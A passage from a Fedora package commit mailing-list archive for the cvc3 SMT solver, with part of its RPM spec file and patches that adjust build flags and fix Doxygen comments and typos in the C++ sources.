 -e "s|loadLibrary(\"cvc3jni\")|load(\"%{_libdir}/%{name}/libcvc3jni.so\")|" \
 java/src/cvc3/Embedded.java

%build
%configure --with-build=optimized --enable-dynamic --enable-java \
  --with-java-home=/usr/lib/jvm/java
make %{?_smp_mflags}

# Build the documentation
cd doc
make
rm -f html/*.{map,md5}

%install
rm -rf %{buildroot}

mkdir -p %{buildroot}%{_libdir}/%{name}
%makeinstall javadir=%{buildroot}%{_libdir}/%{name}

# Byte compile the CVC3 mode file for Emacs
mkdir -p %{buildroot}%{_datadir}/emacs/site-lisp
cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/emacs/site-lisp
pushd %{buildroot}%{_datadir}/emacs/site-lisp
emacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
popd

# Byte compile the CVC3 mode file for XEmacs
mkdir -p %{buildroot}%{_datadir}/xemacs/site-packages/lisp
cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/xemacs/site-packages/lisp
pushd %{buildroot}%{_datadir}/xemacs/site-packages/lisp
xemacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
popd

# Add missing executable bits to the shared libraries
chmod a+x %{buildroot}%{_libdir}/*.so.*

# Move the JNI libraries to the right place
mv %{buildroot}%{_libdir}/libcvc3jni.* %{buildroot}%{_libdir}/%{name}

# FIXME: dot segfaults on building one inheritance graph, leaving a 0-byte file
badfile="doc/html/classHash_1_1hash__table__inherit__graph.png"
if [ -f "$badfile" -a ! -s "$badfile" ] ; then
  rm -f "$badfile"
fi

%check
LD_LIBRARY_PATH=`pwd`/lib make regressonly4

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc INSTALL LICENSE PEOPLE README VERSION
%{_bindir}/cvc3
%{_libdir}/libcvc3.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/cvc3
%{_libdir}/*.so

%files doc
%defattr(-,root,root,-)
%doc doc/html

%files java
%defattr(-,root,root,-)
%{_libdir}/%{name}

%files emacs
%defattr(-,root,root,-)
%{_datadir}/emacs/site-lisp/*.elc

%files emacs-el
%defattr(-,root,root,-)
%{_datadir}/emacs/site-lisp/*.el

%files xemacs
%defattr(-,root,root,-)
%{_datadir}/xemacs/site-packages/lisp/*.elc

%files xemacs-el
%defattr(-,root,root,-)
%{_datadir}/xemacs/site-packages/lisp/*.el

%changelog
* Mon Oct 19 2009 Jerry James <loganjerry at gmail.com> - 2.1-2
- Fix problems found on review
- Enable the Java interface

* Thu Oct 15 2009 Jerry James <loganjerry at gmail.com> - 2.1-1
- Initial RPM


--- NEW FILE import.log ---
cvc3-2_1-2_fc11:HEAD:cvc3-2.1-2.fc11.src.rpm:1256228722


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:07:31 -0000	1.1
+++ .cvsignore	22 Oct 2009 16:25:39 -0000	1.2
@@ -0,0 +1 @@
+cvc3-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:07:31 -0000	1.1
+++ sources	22 Oct 2009 16:25:39 -0000	1.2
@@ -0,0 +1 @@
+d3756ab645f2e8d567217d8be16a4404  cvc3-2.1.tar.gz



From jjames at fedoraproject.org  Thu Oct 22 16:27:54 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 22 Oct 2009 16:27:54 +0000 (UTC)
Subject: rpms/cvc3/F-11 cvc3-build.patch, NONE, 1.1 cvc3-doc.patch, NONE,
	1.1 cvc3-gcc4.patch, NONE, 1.1 cvc3-java.patch, NONE,
	1.1 cvc3.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022162754.04C1811C008C@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/cvc3/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26501/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	cvc3-build.patch cvc3-doc.patch cvc3-gcc4.patch 
	cvc3-java.patch cvc3.spec 
Log Message:
Initial import into F-11 and F-12 branches.


cvc3-build.patch:
 Makefile.std |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE cvc3-build.patch ---
diff -dur cvc3-2.1.ORIG/Makefile.std cvc3-2.1/Makefile.std
--- cvc3-2.1.ORIG/Makefile.std	2009-09-30 12:54:34.000000000 -0600
+++ cvc3-2.1/Makefile.std	2009-10-15 21:12:35.804289073 -0600
@@ -92,7 +92,7 @@
   DEBUG_PLATFORM = -optdbg
 else
 ifeq ($(OPTIMIZED),1)
-  LOCAL_CXXFLAGS = -O2
+  LOCAL_CXXFLAGS =
   DEBUG_PLATFORM =
 else
   LOCAL_CXXFLAGS = -D_CVC3_DEBUG_MODE -g -O0
@@ -177,7 +177,7 @@
   BUILD_SHARED_LIB=1
 endif
 
-LOCAL_CXXFLAGS += -Wall $(INCLUDE_DIR)
+LOCAL_CXXFLAGS += $(INCLUDE_DIR)
 
 ifdef EXTRAFLAGS
   LOCAL_CXXFLAGS += $(EXTRAFLAGS)

cvc3-doc.patch:
 INSTALL                                             |    2 
 doc/Doxyfile.in                                     |   30 ++++++++++---
 src/include/expr.h                                  |    2 
 src/include/theory_arith3.h                         |    2 
 src/include/theory_arith_new.h                      |   17 ++++---
 src/include/theory_arith_old.h                      |   11 ++---
 src/include/vc.h                                    |   12 ++---
 src/sat/sat_proof.h                                 |    2 
 src/theory_arith/theory_arith3.cpp                  |    2 
 src/theory_arith/theory_arith_new.cpp               |    2 
 src/theory_arith/theory_arith_old.cpp               |    2 
 src/theory_bitvector/bitvector_theorem_producer.cpp |   44 ++++++++++----------
 src/theory_core/theory_core.cpp                     |    2 
 src/theory_datatype/theory_datatype.cpp             |   16 +++----
 src/theory_quant/quant_theorem_producer.cpp         |    1 
 src/theory_quant/theory_quant.cpp                   |    6 +-
 src/vcl/vcl.cpp                                     |   35 ++++++++-------
 17 files changed, 103 insertions(+), 85 deletions(-)

--- NEW FILE cvc3-doc.patch ---
diff -dur cvc3-2.1.ORIG/doc/Doxyfile.in cvc3-2.1/doc/Doxyfile.in
--- cvc3-2.1.ORIG/doc/Doxyfile.in	2007-09-12 18:06:50.000000000 -0600
+++ cvc3-2.1/doc/Doxyfile.in	2009-10-19 10:13:12.768107753 -0600
@@ -31,7 +31,7 @@
 # This could be handy for archiving the generated documentation or 
 # if some version control system is used.
 
-PROJECT_NUMBER         = 
+PROJECT_NUMBER         = 2.1
 
 # The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) 
 # base path where the generated documentation will be put. 
@@ -499,8 +499,7 @@
 # excluded from the INPUT source files. This way you can easily exclude a 
 # subdirectory from a directory tree whose root is specified with the INPUT tag.
 
-EXCLUDE                = devel.dox \
-                         theory_api.dox
+EXCLUDE                = devel.dox
 
 # The EXCLUDE_SYMLINKS tag can be used select whether or not files or 
 # directories that are symbolic links (a Unix filesystem feature) are excluded 
@@ -1042,8 +1041,7 @@
 # undefined via #undef or recursively expanded use the := operator 
 # instead of the = operator.
 
-PREDEFINED             = DEBUG \
-                         DOXYGEN
+PREDEFINED             = DOXYGEN
 
 # If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then 
 # this tag can be used to specify a list of macro names that should be expanded. 
@@ -1137,6 +1135,24 @@
 
 HAVE_DOT               = @HAVE_DOT@
 
+# By default doxygen will write a font called FreeSans.ttf to the output 
+# directory and reference it in all dot files that doxygen generates. This 
+# font does not include all possible unicode characters however, so when you need 
+# these (or just want a differently looking font) you can specify the font name 
+# using DOT_FONTNAME. You need need to make sure dot is able to find the font, 
+# which can be done by putting it in a standard location or by setting the 
+# DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory 
+# containing the font.
+
+DOT_FONTNAME           = FreeSans
+
+# By default doxygen will tell dot to use the output directory to look for the 
+# FreeSans.ttf font (which doxygen will put there itself). If you specify a 
+# different font using DOT_FONTNAME you can set the path where dot 
+# can find it using this tag.
+
+DOT_FONTPATH           = /usr/share/fonts/gnu-free
+
 # If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen 
 # will generate a graph for each documented class showing the direct and 
 # indirect inheritance relations. Setting this tag to YES will force the 
@@ -1213,7 +1229,7 @@
 # generated by dot. Possible values are png, jpg, or gif
 # If left blank png will be used.
 
-DOT_IMAGE_FORMAT       = gif
+DOT_IMAGE_FORMAT       = png
 
 # The tag DOT_PATH can be used to specify the path where the dot tool can be 
 # found. If left blank, it is assumed the dot tool can be found in the path.
@@ -1247,7 +1263,7 @@
 # makes dot run faster, but since only newer versions of dot (>1.8.10) 
 # support this, this feature is disabled by default.
 
-DOT_MULTI_TARGETS      = NO
+DOT_MULTI_TARGETS      = YES
 
 # If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will 
 # generate a legend page explaining the meaning of the various boxes and 
diff -dur cvc3-2.1.ORIG/INSTALL cvc3-2.1/INSTALL
--- cvc3-2.1.ORIG/INSTALL	2009-10-15 16:06:18.000000000 -0600
+++ cvc3-2.1/INSTALL	2009-10-19 10:13:59.048162819 -0600
@@ -196,7 +196,7 @@
 </pre>
 
 <b>Note:</b> The Java interface depends on the "build type" (e.g.,
-"optimized", "debug) of %CVC3. If you choose to re-configure and
+"optimized", "debug") of %CVC3. If you choose to re-configure and
 re-build %CVC3 with a different build type, you must run "make clean"
 in the current directory and re-build the interface (cleaning and 
 rebuilding the entire %CVC3 package will suffice).
diff -dur cvc3-2.1.ORIG/src/include/expr.h cvc3-2.1/src/include/expr.h
--- cvc3-2.1.ORIG/src/include/expr.h	2009-10-04 12:41:29.000000000 -0600
+++ cvc3-2.1/src/include/expr.h	2009-10-19 10:13:37.775165727 -0600
@@ -388,7 +388,7 @@
   //! Test if e is an atomic formula
   /*! An atomic formula is TRUE or FALSE or an application of a predicate
     (possibly 0-ary) which does not properly contain any formula.  For
-    instance, the formula "x = IF f THEN y ELSE z ENDIF is not an atomic
+    instance, the formula "x = IF f THEN y ELSE z ENDIF" is not an atomic
     formula, since it contains the condition "f", which is a formula. */
   bool isAtomicFormula() const;
   //! An abstract atomic formua is an atomic formula or a quantified formula
diff -dur cvc3-2.1.ORIG/src/include/theory_arith3.h cvc3-2.1/src/include/theory_arith3.h
--- cvc3-2.1.ORIG/src/include/theory_arith3.h	2009-05-29 23:48:15.000000000 -0600
+++ cvc3-2.1/src/include/theory_arith3.h	2009-10-19 10:13:12.769107906 -0600
@@ -337,7 +337,7 @@
 	 * Fixes the current max coefficient to be used in the ordering. If the maximal coefficient
 	 * changes in the future, it will not be used in the ordering.
 	 * 
-	 * @param var the variable
+	 * @param variable the variable
 	 * @param max the value to set it to
 	 */ 
 	void fixCurrentMaxCoefficient(Expr variable, Rational max);
diff -dur cvc3-2.1.ORIG/src/include/theory_arith_new.h cvc3-2.1/src/include/theory_arith_new.h
--- cvc3-2.1.ORIG/src/include/theory_arith_new.h	2009-06-29 20:14:48.000000000 -0600
+++ cvc3-2.1/src/include/theory_arith_new.h	2009-10-19 10:13:12.769107906 -0600
@@ -434,7 +434,7 @@
   				inline bool operator == (const EpsRational& r) const { return (q == r.q && k == r.k);	}
   				
   				/**
-  				 * Les then or equal comparison operator.
+  				 * Less than or equal comparison operator.
   				 */
   				inline bool operator <= (const EpsRational& r) const { 
   					switch (r.type) {
@@ -459,12 +459,12 @@
   				}
   				
   				/**
-  				 * Les then comparison operator.
+  				 * Less than comparison operator.
   				 */
   				inline bool operator < (const EpsRational& r) const { return !(r <= *this); }
   				
   				/**
-  				 * Bigger then equal comparison operator.
+  				 * Greater than comparison operator.
   				 */
   				inline bool operator > (const EpsRational& r) const { return !(*this <= r); }
   				
@@ -787,6 +787,7 @@
   		 * Asserts a new upper bound constraint on a variable and performs a simple check for consistency (not complete).
   		 * 
   		 * @param x_i the variable to assert the bound on
+  		 * @param c the bound to assert
 		 */
   		QueryResult assertUpper(const Expr& x_i, const EpsRational& c, const Theorem& thm);
 
@@ -794,13 +795,15 @@
   		 * Asserts a new lower bound constraint on a variable and performs a simple check for consistency (not complete).
   		 * 
   		 * @param x_i the variable to assert the bound on
+  		 * @param c the bound to assert
 		 */
   		QueryResult assertLower(const Expr& x_i, const EpsRational& c, const Theorem& thm);
   		
   		/**
-  		 * Asserts a new equality constraint on a variable by asserting both upper and lower bound.
+  		 * Asserts a new equality constraint on a variable by asserting both upper and lower bounds.
   		 * 
   		 * @param x_i the variable to assert the bound on
+  		 * @param c the the bound to assert
 		 */
   		QueryResult assertEqual(const Expr& x_i, const EpsRational& c, const Theorem& thm);  		
 
@@ -862,8 +865,8 @@
   		
   		/**
   		 * Knowing that the tableaux row for \f$x_i\f$ is the problematic one, generate the
-  		 * explanation clause. The variables in the row of \f$x_i = \sum_{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separatied to
-  		 * <ul>
+		 * explanation clause. The variables in the row of \f$x_i = \sum_x{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separated to
+		 * <ul>
   		 * <li>\f$\mathcal{N}^+ = \left\lbrace x_j \in \mathcal{N} \; | \; a_{ij} > 0 \right\rbrace\f$
 		 * <li>\f$\mathcal{N}^- = \left\lbrace  x_j \in \mathcal{N} \; | \; a_{ij} < 0\right\rbrace\f$ 
   		 * </ul>
@@ -878,7 +881,7 @@
 
   		/**
   		 * Knowing that the tableaux row for \f$x_i\f$ is the problematic one, generate the
-  		 * explanation clause. The variables in the row of \f$x_i = \sum_{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separatied to
+  		 * explanation clause. The variables in the row of \f$x_i = \sum_{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separated to
   		 * <ul>
   		 * <li>\f$\mathcal{N}^+ = \left\lbrace x_j \in \mathcal{N} \; | \; a_{ij} > 0 \right\rbrace\f$
 		 * <li>\f$\mathcal{N}^- = \left\lbrace  x_j \in \mathcal{N} \; | \; a_{ij} < 0\right\rbrace\f$ 
diff -dur cvc3-2.1.ORIG/src/include/theory_arith_old.h cvc3-2.1/src/include/theory_arith_old.h
--- cvc3-2.1.ORIG/src/include/theory_arith_old.h	2009-09-29 19:50:21.000000000 -0600
+++ cvc3-2.1/src/include/theory_arith_old.h	2009-10-19 10:13:12.771175241 -0600
@@ -364,7 +364,7 @@
 	 * Fixes the current max coefficient to be used in the ordering. If the maximal coefficient
 	 * changes in the future, it will not be used in the ordering.
 	 *
-	 * @param var the variable
+	 * @param variable the variable
 	 * @param max the value to set it to
 	 */
 	void fixCurrentMaxCoefficient(Expr variable, Rational max);
@@ -653,7 +653,7 @@
 	  				inline bool operator == (const EpsRational& r) const { return (q == r.q && k == r.k);	}
 
 	  				/**
-	  				 * Les then or equal comparison operator.
+	  				 * Less than or equal comparison operator.
 	  				 */
 	  				inline bool operator <= (const EpsRational& r) const {
 	  					switch (r.type) {
@@ -678,19 +678,19 @@
 	  				}
 
 	  				/**
-	  				 * Les then comparison operator.
+	  				 * Less than comparison operator.
 	  				 */
 	  				inline bool operator < (const EpsRational& r) const { return !(r <= *this); }
 
 	  				/**
-	  				 * Bigger then equal comparison operator.
+	  				 * Greater than comparison operator.
 	  				 */
 	  				inline bool operator > (const EpsRational& r) const { return !(*this <= r); }
 
 	  				/**
 	  				 * Returns the string representation of the number.
 	  				 *
-	  				 * @param the string representation of the number
+	  				 * @return the string representation of the number
 	  				 */
 	  				std::string toString() const {
 	  					switch (type) {
@@ -846,7 +846,6 @@
 			 * @param x variable x::Difference
 			 * @param y variable y
 			 * @param c rational c
-			 * @param kind the kind of inequality (LE or LT)
 			 * @param edge_thm the theorem for this edge
 			 */
 			void addEdge(const Expr& x, const Expr& y, const Rational& c, const Theorem& edge_thm);
diff -dur cvc3-2.1.ORIG/src/include/vc.h cvc3-2.1/src/include/vc.h
--- cvc3-2.1.ORIG/src/include/vc.h	2009-10-04 12:41:29.000000000 -0600
+++ cvc3-2.1/src/include/vc.h	2009-10-19 10:13:12.772197964 -0600
@@ -28,9 +28,7 @@
 #include "formula_value.h"
 
 /*****************************************************************************/
-/*!
- *\defgroup Note Note that this list of modules is very incomplete
- *\brief Note that this list of modules is very incomplete
+/*! Note that this list of modules is very incomplete
  */
 /*****************************************************************************/
 
@@ -750,10 +748,10 @@
 
   //! Set triggers for quantifier instantiation
   /*!
-   * \param e is the expression for which triggers are being set.  \param
-   * Each item in triggers is a vector of Expr containing one or more
-   * patterns.  A pattern is a term or Atomic predicate sub-expression of
-   * e.  A vector containing more than one pattern is treated as a
+   * \param e the expression for which triggers are being set
+   * \param triggers Each item in triggers is a vector of Expr containing one
+   * or more patterns.  A pattern is a term or Atomic predicate sub-expression
+   * of e.  A vector containing more than one pattern is treated as a
    * multi-trigger.  Patterns will be matched in the order they occur in
    * the vector.
   */
diff -dur cvc3-2.1.ORIG/src/sat/sat_proof.h cvc3-2.1/src/sat/sat_proof.h
--- cvc3-2.1.ORIG/src/sat/sat_proof.h	2008-04-03 22:18:32.000000000 -0600
+++ cvc3-2.1/src/sat/sat_proof.h	2009-10-19 10:13:12.773204281 -0600
@@ -1,6 +1,6 @@
 /*****************************************************************************/
 /*!
- *\file minisat_proof.h
+ *\file sat_proof.h
  *\brief Sat solver proof representation
  *
  * Author: Alexander Fuchs
diff -dur cvc3-2.1.ORIG/src/theory_arith/theory_arith3.cpp cvc3-2.1/src/theory_arith/theory_arith3.cpp
--- cvc3-2.1.ORIG/src/theory_arith/theory_arith3.cpp	2009-10-08 16:15:52.000000000 -0600
+++ cvc3-2.1/src/theory_arith/theory_arith3.cpp	2009-10-19 10:13:12.775109510 -0600
@@ -421,7 +421,7 @@
   return thm;
 }
 
-/*! Psuedo-code for doSolve. (Input is an equation) (output is a Theorem)
+/*! Pseudo-code for doSolve. (Input is an equation) (output is a Theorem)
  *  -# translate e to the form e' = 0
  *  -# if (e'.isRational()) then {if e' != 0 return false else true}
  *  -# a for loop checks if all the variables are integers.
diff -dur cvc3-2.1.ORIG/src/theory_arith/theory_arith_new.cpp cvc3-2.1/src/theory_arith/theory_arith_new.cpp
--- cvc3-2.1.ORIG/src/theory_arith/theory_arith_new.cpp	2009-10-08 16:15:52.000000000 -0600
+++ cvc3-2.1/src/theory_arith/theory_arith_new.cpp	2009-10-19 10:13:12.777233052 -0600
@@ -320,7 +320,7 @@
   return thm;
 }
 
-/*! Psuedo-code for doSolve. (Input is an equation) (output is a Theorem)
+/*! Pseudo-code for doSolve. (Input is an equation) (output is a Theorem)
  *  -# translate e to the form e' = 0
  *  -# if (e'.isRational()) then {if e' != 0 return false else true}
  *  -# a for loop checks if all the variables are integers. 
diff -dur cvc3-2.1.ORIG/src/theory_arith/theory_arith_old.cpp cvc3-2.1/src/theory_arith/theory_arith_old.cpp
--- cvc3-2.1.ORIG/src/theory_arith/theory_arith_old.cpp	2009-10-08 16:15:52.000000000 -0600
+++ cvc3-2.1/src/theory_arith/theory_arith_old.cpp	2009-10-19 10:13:12.781233049 -0600
@@ -436,7 +436,7 @@
   return thm;
 }
 
-/*! Psuedo-code for doSolve. (Input is an equation) (output is a Theorem)
+/*! Pseudo-code for doSolve. (Input is an equation) (output is a Theorem)
  *  -# translate e to the form e' = 0
  *  -# if (e'.isRational()) then {if e' != 0 return false else true}
  *  -# a for loop checks if all the variables are integers.
diff -dur cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp
--- cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-15 19:23:59.000000000 -0600
+++ cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-19 10:13:12.785232967 -0600
@@ -479,7 +479,7 @@
 
   //if both MSBs are constants, then we can optimize the output.  we
   //know precisely the value of the signed comparison in cases where
-  //topbit of e0 and e1 are constants. e.g. |-1 at t0 < 0 at t1 is clearly
+  //topbit of e0 and e1 are constants. e.g. |-1\@t0 < 0\@t1 is clearly
   //|-TRUE.
 
   //-1 indicates that both topBits are not known to be BVCONSTS
@@ -1009,9 +1009,9 @@
 }
 
 
-// Input: x: a_0 @ ... @ a_n,
+// Input: x: a_0 \@ ... \@ a_n,
 //        i: bitposition
-// Output |- BOOLEXTRACT(a_0 @ ... @ a_n, i) <=> BOOLEXTRACT(a_j, k)
+// Output |- BOOLEXTRACT(a_0 \@ ... \@ a_n, i) <=> BOOLEXTRACT(a_j, k)
 //        where j and k are determined by structure of CONCAT
 Theorem BitvectorTheoremProducer::bitExtractConcatenation(const Expr & x,
 							  int i)
@@ -1939,7 +1939,7 @@
 }
 
 
-//! t<<n = c @ 0bin00...00, takes e == (t<<n)
+//! t<<n = c \@ 0bin00...00, takes e == (t<<n)
 Theorem BitvectorTheoremProducer::leftShiftToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     // The kids must be constant expressions
@@ -1963,7 +1963,7 @@
   return newRWTheorem(e, res, Assumptions::emptyAssump(), pf);
 }
 
-//! t<<n = c @ 0bin00...00, takes e == (t<<n)
+//! t<<n = c \@ 0bin00...00, takes e == (t<<n)
 Theorem BitvectorTheoremProducer::constWidthLeftShiftToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     // The kids must be constant expressions
@@ -1996,7 +1996,7 @@
 }
 
 
-//! t>>m = 0bin00...00 @ t[bvLength-1:m], takes e == (t>>n)
+//! t>>m = 0bin00...00 \@ t[bvLength-1:m], takes e == (t>>n)
 Theorem BitvectorTheoremProducer::rightShiftToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     CHECK_SOUND(e.getOpKind() == RIGHTSHIFT && e.arity() == 1,
@@ -2028,7 +2028,7 @@
 }
 
 
-//! BVSHL(t,c) = t[n-c,0] @ 0bin00...00
+//! BVSHL(t,c) = t[n-c,0] \@ 0bin00...00
 Theorem BitvectorTheoremProducer::bvshlToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     // The second kid must be a constant expression
@@ -2102,7 +2102,7 @@
 }
 
 
-//! BVLSHR(t,c) = 0bin00...00 @ t[n-1,c]
+//! BVLSHR(t,c) = 0bin00...00 \@ t[n-1,c]
 Theorem BitvectorTheoremProducer::bvlshrToConcat(const Expr& e)
 {
   if(CHECK_PROOFS) {
@@ -2265,7 +2265,7 @@
 
 
 //! k*t = BVPLUS(n, <sum of shifts of t>) -- translation of k*t to BVPLUS
-/*! If k = 2^m, return k*t = t at 0...0 */
+/*! If k = 2^m, return k*t = t\@0...0 */
 Theorem BitvectorTheoremProducer::constMultToPlus(const Expr& e) {
   DebugAssert(false,
 	      "BitvectorTheoremProducer::constMultToPlus: this rule does not work\n");
@@ -2459,7 +2459,7 @@
 }
 
 
-//! (t1 @ t2)[i:j] = t1[...] @ t2[...]  (push extraction through concat)
+//! (t1 \@ t2)[i:j] = t1[...] \@ t2[...]  (push extraction through concat)
 Theorem
 BitvectorTheoremProducer::extractConcat(const Expr& e) {
   TRACE("bitvector rules", "extractConcat(", e, ") {");
@@ -2672,7 +2672,7 @@
 }
 
 
-//! ~(t1 at ...@tn) = (~t1)@...@(~tn) -- push negation through concat
+//! ~(t1\@...\@tn) = (~t1)\@...\@(~tn) -- push negation through concat
 Theorem
 BitvectorTheoremProducer::negConcat(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -3190,7 +3190,7 @@
 }
 
 
-//! c1 at c2@... at cn = c  (concatenation of constant bitvectors)
+//! c1\@c2\@...\@cn = c  (concatenation of constant bitvectors)
 Theorem BitvectorTheoremProducer::concatConst(const Expr& e) {
   if(CHECK_PROOFS) {
     // The kids must be constant expressions
@@ -3211,7 +3211,7 @@
 }
 
 
-//! Flatten one level of nested concatenation, e.g.: x@(y at z)@w = x at y@z at w
+//! Flatten one level of nested concatenation, e.g.: x\@(y\@z)\@w = x\@y\@z\@w
 Theorem
 BitvectorTheoremProducer::concatFlatten(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -3233,7 +3233,7 @@
 }
 
 
-//! Merge n-ary concat. of adjacent extractions: x[15:8]@x[7:0] = x[15:0]
+//! Merge n-ary concat. of adjacent extractions: x[15:8]\@x[7:0] = x[15:0]
 Theorem
 BitvectorTheoremProducer::concatMergeExtract(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -4681,7 +4681,7 @@
 }
 
 
-// BVMULT(N, a at b, y) = BVPLUS(N, BVMULT(N,b,y), BVMULT(N-n,a,y) @ n-bit-0-string)
+// BVMULT(N, a\@b, y) = BVPLUS(N, BVMULT(N,b,y), BVMULT(N-n,a,y) \@ n-bit-0-string)
 // where n = BVSize(b), a != 0, one of a or b is a constant
 Theorem BitvectorTheoremProducer::liftConcatBVMult(const Expr& e)
 {
@@ -4917,7 +4917,7 @@
 }
 
 
-// BVPLUS(N, a0, ..., an) = BVPLUS(N-n,a0[N-1:n],...an[N-1:n])@t
+// BVPLUS(N, a0, ..., an) = BVPLUS(N-n,a0[N-1:n],...an[N-1:n])\@t
 // where n = BVSize(t), and the sum of the lowest n bits of a0..an is exactly
 // equal to t (i.e. no carry)
 Theorem BitvectorTheoremProducer::liftConcatBVPlus(const Expr& e)
@@ -5602,9 +5602,9 @@
 
 // Input: t[hi:lo] = rhs
 // if t appears as leaf in rhs, then:
-//    t[hi:lo] = rhs |- Exists x,y,z. (t = x @ y @ z AND y = rhs), solvedForm = false
+//    t[hi:lo] = rhs |- Exists x,y,z. (t = x \@ y i@ z AND y = rhs), solvedForm = false
 // else
-//    t[hi:lo] = rhs |- Exists x,z. (t = x @ rhs @ z), solvedForm = true
+//    t[hi:lo] = rhs |- Exists x,z. (t = x \@ rhs \@ z), solvedForm = true
 Theorem BitvectorTheoremProducer::processExtract(const Theorem& e, bool& solvedForm)
 {
   Expr expr = e.getExpr();
@@ -6075,7 +6075,7 @@
 }
 
 
-//! BVZEROEXTEND(e, i) = zeroString @ e
+//! BVZEROEXTEND(e, i) = zeroString \@ e
 // where zeroString is a string of i zeroes
 Theorem BitvectorTheoremProducer::zeroExtendRule(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -6103,7 +6103,7 @@
 }
 
 
-//! BVREPEAT(e, i) = e @ e @ ... @ e
+//! BVREPEAT(e, i) = e \@ e \@ ... \@ e
 // where e appears i times on the right
 Theorem BitvectorTheoremProducer::repeatRule(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -6136,7 +6136,7 @@
 }
 
 
-//! BVROTL(e, i) = a[n-i-1:0] @ a[n-1:n-i]
+//! BVROTL(e, i) = a[n-i-1:0] \@ a[n-1:n-i]
 // where n is the size of e and i is less than n (otherwise i mod n is used)
 Theorem BitvectorTheoremProducer::rotlRule(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -6167,7 +6167,7 @@
 }
 
 
-//! BVROTR(e, i) = a[i-1:0] @ a[n-1:i]
+//! BVROTR(e, i) = a[i-1:0] \@ a[n-1:i]
 // where n is the size of e and i is less than n (otherwise i mod n is used)
 Theorem BitvectorTheoremProducer::rotrRule(const Expr& e) {
   if(CHECK_PROOFS) {
diff -dur cvc3-2.1.ORIG/src/theory_core/theory_core.cpp cvc3-2.1/src/theory_core/theory_core.cpp
--- cvc3-2.1.ORIG/src/theory_core/theory_core.cpp	2009-09-30 13:39:06.000000000 -0600
+++ cvc3-2.1/src/theory_core/theory_core.cpp	2009-10-19 10:13:12.788233008 -0600
@@ -3099,7 +3099,7 @@
 }
 
 
-bool TheoryCore::incomplete(vector<string>& reasons)
+bool TheoryCore::incomplete(std::vector<std::string>& reasons)
 {
   if(d_incomplete.size() > 0) {
     for(CDMap<string,bool>::iterator i=d_incomplete.begin(),
diff -dur cvc3-2.1.ORIG/src/theory_datatype/theory_datatype.cpp cvc3-2.1/src/theory_datatype/theory_datatype.cpp
--- cvc3-2.1.ORIG/src/theory_datatype/theory_datatype.cpp	2009-10-05 20:12:41.000000000 -0600
+++ cvc3-2.1/src/theory_datatype/theory_datatype.cpp	2009-10-19 10:13:12.790252403 -0600
@@ -857,10 +857,10 @@
 }
 
 
-Expr TheoryDatatype::dataType(const string& name,
-                              const vector<string>& constructors,
-                              const vector<vector<string> >& selectors,
-                              const vector<vector<Expr> >& types)
+Expr TheoryDatatype::dataType(const std::string& name,
+                              const std::vector<std::string>& constructors,
+                              const std::vector<std::vector<std::string> >& selectors,
+                              const std::vector<std::vector<Expr> >& types)
 {
   vector<string> names;
   vector<vector<string> > constructors2;
@@ -876,10 +876,10 @@
 
 // Elements of types are either the expr from an existing type or a string
 // naming one of the datatypes being defined
-Expr TheoryDatatype::dataType(const vector<string>& names,
-                              const vector<vector<string> >& allConstructors,
-                              const vector<vector<vector<string> > >& allSelectors,
-                              const vector<vector<vector<Expr> > >& allTypes)
+Expr TheoryDatatype::dataType(const std::vector<std::string>& names,
+                              const std::vector<std::vector<std::string> >& allConstructors,
+                              const std::vector<std::vector<std::vector<std::string> > >& allSelectors,
+                              const std::vector<std::vector<std::vector<Expr> > >& allTypes)
 {
   vector<Expr> returnTypes;
 
diff -dur cvc3-2.1.ORIG/src/theory_quant/quant_theorem_producer.cpp cvc3-2.1/src/theory_quant/quant_theorem_producer.cpp
--- cvc3-2.1.ORIG/src/theory_quant/quant_theorem_producer.cpp	2009-10-04 12:41:29.000000000 -0600
+++ cvc3-2.1/src/theory_quant/quant_theorem_producer.cpp	2009-10-19 10:13:12.791296402 -0600
@@ -241,6 +241,7 @@
  * subtype predicates for the bound variables of the quanitfied expression.
  * \param t1 is the quantifier (a Theorem)
  * \param terms are the terms to instantiate.
